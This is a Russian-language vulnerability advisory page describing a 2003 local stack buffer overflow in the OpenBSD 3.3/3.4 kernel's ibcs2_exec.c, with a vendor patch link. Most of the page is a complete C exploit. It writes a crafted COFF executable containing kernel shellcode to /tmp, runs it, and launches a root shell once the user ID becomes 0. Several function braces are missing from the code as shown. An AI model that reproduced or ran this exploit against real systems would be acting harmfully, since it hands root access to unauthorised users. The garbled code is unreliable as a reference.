Security Lab

Переполнение стекового буфера в OpenBSD ядре

Дата публикации:19.11.2003
Дата изменения:17.10.2006
Всего просмотров:2651
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: OpenBSD 3.3, 3.4

Описание: Переполнение буфера обнаружено в OpenBSD ядре. Локальный пользователь может выполнить произвольный код с root привилегиями.

Переполнение стекового буфера обнаружено в OpenBSD в 'ibcs2_exec.c'.

Пример/Эксплоит:

/*
Legal Notice:
This Advisory is Copyright (c) 2003 Georgi Guninski.
This program cannot be used in "vulnerabilities databases" and 
securityfocus, microsoft, cert and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/msuxobsd2.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include "/usr/src/sys/compat/ibcs2/ibcs2_exec.h"

// some code taken from noir article from phrack 60

void
get_proc(pid_t pid, struct kinfo_proc *kp)
 
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error, rerun!\n");
                exit(-1);
        }

 
int msux()
 
int fd;
struct coff_filehdr cf;
struct coff_aouthdr ca;
struct coff_scnhdr s1,s2,s3;
int exe[512];
char fil[]="/tmp/vvc";
int v;
unsigned int initpid=0xe7610000;
unsigned int reta=0xe770fc8c;//0xe770bc68; //0xe7719c64;//0xe770bc64;
struct kinfo_proc kp;
long ppid,mypid;
int p,st;

get_proc((pid_t) getppid(), &kp);

ppid=(u_long) kp.kp_eproc.e_paddr;

get_proc((pid_t) getpid(), &kp);
mypid=(u_long) kp.kp_eproc.e_paddr;

// address of kernel's p_comm for 3.3
reta=0x10f+(u_long) kp.kp_eproc.e_paddr; 

printf("ppid=%x mypid=%x %reta=%x\n",ppid,mypid,reta);
fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&cf,0,sizeof(cf));
memset(&ca,0,sizeof(ca));
memset(&s1,0,sizeof(s1));
memset(&s2,0,sizeof(s2));
memset(&s3,0,sizeof(s3));
//memset(exe,0xe7,sizeof(exe));
for(v=0;v<sizeof(exe)/sizeof(int);v++) {exe[v]= 0xbabe0000 + v; /*0xcafebabe;*/}
exe[2]=ppid; // to avoid an early crash
exe[1]=reta; // return address

p=st=3; //0xd;

exe[p++]=0xfebabeb9; // shell code
exe[p++]=0x10598bca;
exe[p++]=0x4389c031;
exe[p++]=0x89138b04;
exe[p++]=0x90900442;

*(int*)((int)&exe[st]+1) = ppid;

exe[p++]=0xbabeb850; // call exit1 to return in userland
exe[p++]=0xb850cafe;
exe[p++]=0xd01c59b8;
exe[p++]=0x9090d0ff;

*(int*)((int)&exe[st]+2+5*4) = mypid;

cf.f_magic = COFF_MAGIC_I386 ;
cf.f_nscns=3;
ca.a_magic = COFF_ZMAGIC;
s1.s_flags = COFF_STYP_TEXT;
s2.s_flags = COFF_STYP_DATA;
s3.s_flags = COFF_STYP_SHLIB;
s3.s_size= 128+12*4 + 30*4; //sizeof(exe);
write(fd,&cf,sizeof(cf));
write(fd,&ca,sizeof(ca));
write(fd,&s1,sizeof(s1));
write(fd,&s2,sizeof(s2));
write(fd,&s3,sizeof(s3));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);
execl(fil,0);
exit(42); // should not be reached if successfull
 

int main(int ac,char **av)
 
uid_t ui;
// this is kernel's p_comm. we first jump here.
char goodfile[]="\x54\x58\x40\x40\x40\x40\xff\xd0";
char tmp[1000];

if (strcmp(av[0],goodfile)) 
	{
	snprintf(tmp,sizeof(tmp),"cp %s \"%s\"",av[0],goodfile);
	system(tmp);execl(goodfile,goodfile,0);
	return 42; //should not be reached
	}
printf("written by georgi\n");
printf("\nPlease help Liu - http://clik.to/donatepc\n\n");
fflush(stdout);
#define SWEETDREAM 2 

if(!fork()) msux();
while(42)
 
sleep(SWEETDREAM);
ui=getuid();
printf("uid=%x\n",ui);
if (ui==0) execl("/bin/sh",0);
 
return 42;

URL производителя:http://www.openbsd.org/

Решение: http://www.openbsd.org/cgi-bin/cvsweb/src/sys/compat/ibcs2/ibcs2_exec.c.diff?r1=1.14.6.1&r2=1.14.6. 2

Ссылки: OpenBSD kernel overflow, yet still *BSD much better than windows